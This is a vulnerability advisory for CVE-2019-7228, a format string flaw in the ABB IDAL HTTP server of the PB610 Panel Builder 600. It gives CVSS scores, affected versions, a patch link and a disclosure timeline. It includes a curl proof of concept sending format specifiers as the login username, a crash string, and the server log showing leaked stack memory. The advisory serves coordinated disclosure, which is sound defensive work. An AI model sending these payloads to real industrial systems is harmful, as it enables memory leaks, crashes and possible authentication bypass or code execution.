ABB IDAL HTTP Server Uncontrolled Format String

2019.06.25
Risk: High
Local: Yes
Remote: No
CWE: CWE-134


CVSS Base Score: 5.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 6.5/10
Exploit range: Adjacent network
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

XL-19-012 - ABB IDAL HTTP Server Uncontrolled Format String Vulnerability ======================================================================== Identifiers ----------- XL-19-012 CVE-2019-7228 ABBVU-IAMF-1902007 CVSS Score ---------- 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Affected vendor --------------- ABB (new.abb.com) Credit ------ Eldar Marcussen - xen1thLabs - Software Labs Vulnerability summary --------------------- The IDAL HTTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server. Technical details ----------------- The IDAL HTTP server does not safely handle username or cookie strings during the authentication process. Attempting to authenticate with the username "%25s%25p%25x%25n" will crash the server. Sending "%08x.AAAA.%08x.%08x" will log memory content from the stack. Proof of concept ---------------- ``` curl -d 'username=%2508x.AAAA.%2508x.%2508x&password=xen1thLabs' http://targetip:81/cgi/login ```` UserManagementModule::LoginCGIUser failed. User:"72657355.AAAA.616e614d.656d6567" not present in UserFactory Affected systems ---------------- PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367 Solution -------- Apply the patches and instructions from vendor: - ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch Disclosure timeline ------------------- 04/02/2019 - Contacted ABB requesting disclosure coordination 05/02/2019 - Provided vulnerability details 05/06/2019 - Patch available 17/06/2019 - xen1thLabs public disclosure


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